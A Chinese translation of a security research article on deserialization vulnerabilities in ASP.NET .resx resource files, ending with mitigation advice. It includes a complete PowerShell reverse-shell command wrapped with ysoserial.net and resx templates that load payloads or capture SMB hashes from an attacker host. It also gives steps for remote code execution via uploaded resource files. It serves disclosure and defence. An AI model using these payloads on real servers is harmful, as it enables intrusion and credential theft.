对ASP.NET资源文件(.RESX)及反序列化漏洞的研究

栏目: ASP.NET · 发布时间: 5年前

内容简介:ASP.NET应用程序中的资源文件通常用作本地化存储,它们可用于存储 用户交互界面元素 或 可被轻松翻译的字符串[1]。这些资源文件一般用这些资源文件虽然是XML格式的,但是它们仍可以包含序列化对象。二进制对象在被序列化后,可以存储在以base64编码的

对ASP.NET资源文件(.RESX)及反序列化漏洞的研究

概述

ASP.NET应用程序中的资源文件通常用作本地化存储,它们可用于存储 用户交互界面元素 或 可被轻松翻译的字符串[1]。这些资源文件一般用 .resx 作为文件拓展名,而当它们以 .resources 作为文件拓展名时,还能够被应用程序编译使用。可在微软的网站上了解到资源文件的更多信息[2, 3]

这些资源文件虽然是XML格式的,但是它们仍可以包含序列化对象。二进制对象在被序列化后,可以存储在以base64编码的 .resx 文件中。资源文件支持 BinaryFormatterSoapFormatterTypeConverters ,这些方法均能被滥用于 反序列化不够安全的对象 或是 加载外部文件

这篇文章旨在更详细地讨论这种 attack vector (攻击向量),提升大家对它的认知深度,本研究中确认问题的灵感来源于AlvaroMuñoz和Oleksandr Mirosh撰写的白皮书, Friday the 13th JSON Attacks8

补丁与遗留问题

我早在2018年1月时便向微软报告了资源文件( .resx.resources )中的一些反序列化问题,但直至2018年7月微软才在许多产品中发布了多个补丁(CVE-2018-8172,CVE-2018-8172和 CVE-2018-8300),例如在这之前 SharePoint 与 Visual Studio 一直都在以不安全的方式处理 资源文件 [7]

对ASP.NET资源文件(.RESX)及反序列化漏洞的研究

在打上2018年7月的补丁后,已经无法在 Visual Studio 中直接打开有着Web记号(MOTW)[8]的 .resx.resources 文件。当 MOTW 工作时, resgen.exe 工具[9]会显示错误,而 winres.exe 工具[10]则会始终显示警告消息。值得注意的是,从压缩包中解压出的文件 或者是从 IE或Edge之外的浏览器中下载的文件 可能并被没有 MOTW ,大家应该更加谨慎地处理它们

微软开发者中心(MSDN)[11]的 System.Resources命名空间 文档也已经有了对应更新,包括 ResourceManagerResourceReaderResourceSet 方法的如下安全说明:

“Calling methods in this class with untrusted data is a security risk. Call the methods in the class only with trusted data. For more information, see Untrusted Data Security Risks”.
“使用不受信任的数据调用此类中的方法存在安全风险。仅使用受信任的数据调用此类中的方法。有关的更多信息,可参阅 不被信任数据存在的安全风险

我们应该注意到, System.Resources方法 的行为尚未被更改,因此所有使用了ASP.NET库 读取、编译 或是 反编译 资源文件 的应用程序(例如[12]和[13]),如果接受用户提供的资源文件,则很可能会受到攻击

如何对System.Resources命名空间产生影响?

因为无法事先确定资源文件中的序列化对象类型,所以不能通过排查 不安全的反序列化 这种方法来防止恶意代码执行。虽然在使用 BinaryFormatter 时可以保护到某些方法,但是想要预防所有的攻击是根本于事无补的,因为 SoapFormatterTypeConverters 可以用作替代方法进行绕过

资源文件 还可以使用 UNC路径 指向本地文件或共享资源,而这又可能导致 文件枚举 或 SMB哈希劫持 等次要风险。当客户端 工具 被当成目标时, SMB哈希劫持可能会面临更高更大的风险

由于 .resx 文件基于XML,因此在使用普通XML库读取资源文件时,自定义的解析器可能容易遭受XML外部实体(XXE)攻击。但是默认情况下, ResXResourceReader 类并不会处理 文档类型定义(DTD)这部分的 XmlTextReader

技术细节

可以使用 数据的 mimetype 属性 和 元数据标签 在资源文件内反序列化对象,此外 type 属性还可以被用来反序列化使用了 TypeConverters 的对象

通过BinaryFormatter和SoapFormatter进行反序列化

在以下情况使用 BinaryFormatterSystem.Runtime.Serialization.Formatters.Binary.BinaryFormatter )对资源文件中的对象进行反序列化:

  • mimetype 属性提交空值给 数据标签 ;或者
  • mimetype 属性是以下 数据元数据标签 之一:
application/x-microsoft.net.object.binary.base64
text/microsoft-urt/psuedoml-serialized/base64
text/microsoft-urt/binary-serialized/base64

在以下情况使用 SoapFormatterSystem.Runtime.Serialization.Formatters.Soap.SoapFormatter )对资源文件中的对象进行反序列化:

  • mimetype 属性是以下 数据元数据标签 之一:
application/x-microsoft.net.object.soap.base64
text/microsoft-urt/soap-serialized/base64

由[14]处的源代码可知, SoapFormatter 并没有通过 System.Web 被使用,然而这仍然可以通过 将 资源文件 上传到 ASP.NET Web应用程序 的资源文件夹中来执行

ysoserial.net项目[15]可在没有事先知道反序列化问题的情况下,生成Payload(攻击载荷)。下面的例子展示了如何生成具有 反向PowerShell 功能的Payload(攻击载荷)

$command = '$client = New-Object System.Net.Sockets.TCPClient("remote_IP_here", remote_PORT_here);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

./ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "powershell.exe -encodedCommand $encodedCommand"

然后如下所示,将生成的Payload(攻击载荷)用于资源文件当中

[Resource file default scheme and headers redacted]

<data name="test1_BinaryFormatter" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[BinaryFormatter payload goes here without the square brackets]</value>
</data>

通过 TypeConverters 进行反序列化

虽然资源文件在多数情况下会使用 TypeConverters ,但是那些受 CanConvertFrom 方法检查的兼容类型同样也很重要。攻击者能够通过查找合适的类文件,使用 ConvertFrom 方法来执行代码。关于这种攻击的更多信息,可以查看 Friday the 13th JSON Attacks [5] 白皮书

以下方案展示了, TypeConverters 在作为 type 属性的 fully qualified assembly name (完全限定集名)的资源文件里的用法[译者注:这段真的难译啊T T]

  • application / x-microsoft.net.object.bytearray.base64mimetype 里时:
<data name="test1" mimetype="application/x-microsoft.net.object.bytearray.base64" type="A Fully Qualified Assembly Name Here"><value>Base64 ByteArray Payload Here</value></data>

它需要接受一个 CanConvertFrombyte [] 类型的类文件

  • mimetype 属性不可用、 type 属性不为 null (空)且不包含 System.Byte [] 类型和 mscorlib 字符串时:
<data name="test1" type="A Fully Qualified Assembly Name Here">
<value>String Payload Here</value>
</data>

它需要接受一个 CanConvertFromString 类型的类文件

  • 当能够包含使用了 System.Resources.ResXFileRef 类型的外部文件路径时:
<data name="test1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>UNC_PATH_HERE; A Fully Qualified Assembly Name Here</value>
</data>

在获取 fully qualified assembly name (完全限定集名)时,它支持 StringByte []MemoryStream 类型,而这又可能会被滥用于加载 包含了恶意序列化对象 的另一个资源文件,于是便可用来绕过对初始资源文件的潜在限制条件。下面的数据标签就是一个例子:

<data name="foobar" type="System.Resources.ResXFileRef">
 <value>
 \attacker.compayload.resx; System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
 </value>
 </data>

ResXFileRef 类型还可以通过错误消息用作 文件枚举,也能通过 UNC路径 进行SMB哈希劫持。 比如:

<data name="foobar" type="System.Resources.ResXFileRef, System.Windows.Forms">
 <value>\AttackerServertesttest;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
 </data>

趣味示例:在IIS上攻击不安全的文件上传程序

除了那些 允许用户提供任意资源文件 用来 自定义其本地设置 的应用软件 和 在用户交互界面显示 资源文件 的应用程序之外,具有以下特征的文件上传程序也很有可能受到影响:

  • 可以上传扩展名为 .resx.resources 的文件,并且
  • 文件可以上传到 被上传文件夹 中的任意子文件夹中,并且
  • 被上传文件夹可以通过Web访问到,并且
  • 尚未禁用被上传文件夹中ASP.NET程序( *.aspx*.ashx*.asmx*_appservice.axd )的执行权限

将资源文件直接上传到 App_GlobalResourcesApp_LocalResources 文件夹,可能导致远程代码执行,这将使那些未考虑到 .resx.resources 并且 允许用户上传这些文件 的应用程序陷入危险的境地。正因为 App_GlobalResources 目录只可能位于应用程序的根目录下,所以 App_LocalResources 文件夹简直就是为此类攻击而生

攻击者可以将恶意资源文件( .resx.resources )上传到 被上传文件夹 中的 App_LocalResources 文件夹,然后从 被上传文件夹 中调用任意ASP.NET文件(甚至不管存在与否)来执行任意代码

可以使用 resgen.exe 工具编译 .resx 文件以创建 .resources ,值得一提的是 exploit code (EXP,漏洞利用代码)也将在编译过程中被执行

如果尚未在IIS服务器上创建过文件夹,攻击者则可以使用 App_LocalResources :: $ Index_allocationApp_LocalResources:$ i30:$ index_allocation trick in filename 创建 App_LocalResources 文件夹。获取更多有关此技术的信息,可参阅OWASP.org [16]

以下文件和目录树显示了成功上载文件的示例:

|_ wwwroot
     |_ MyApp
         |_ Userfiles
              |_ App_LocalResources
                     |_ test.resx

到现在为止,只要打开 /MyApp/Usefiles/foobar.aspx 页面,就能够在Web服务器上执行代码, test.resx 文件可以用它被编译过后的文件 test.resources 替换, foobar.aspx 文件也无需存在于服务器上

结论

  1. 没有经过足够的验证时,请勿相信任何资源文件
  2. 如果资源文件必须用在 包含字符串的值 上,那么建议使用 simple XML parser object (简单XML解析器对象)解析 .resx 文件并读取值,而不要去处理 DTD 部分,这样便可以安全地对通用类型数据进行处理,而并不需要使用反序列化、类型转换器和文件引用功能
  3. 为了保护文件上传程序,请确保在 被上传文件夹 中禁用ASP.NET扩展,并且配合使用白名单验证的方法(不要包括 .resx.resources 扩展名)。 更多的建议可以在OWASP.org [16]中获取

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

程序员成长的烦恼

程序员成长的烦恼

吴亮、周金桥、李春雷、周礼 / 华中科技大学出版社 / 2011-4 / 28.00元

还在犹豫该不该转行学编程?还在编程的道路上摸爬滚打?在追寻梦想的道路上你并不孤单,《程序员成长的烦恼》中的四位“草根”程序员也曾有过类似的困惑。看看油田焊接技术员出身的周金桥是如何成功转行当上程序员的,做过钳工、当过外贸跟单员的李春雷是如何自学编程的,打小在486计算机上学习编程的吴亮是如何一路坚持下来的,工作中屡屡受挫、频繁跳槽的周礼是如何找到出路的。 《程序员成长的烦恼》记录了他们一步一......一起来看看 《程序员成长的烦恼》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具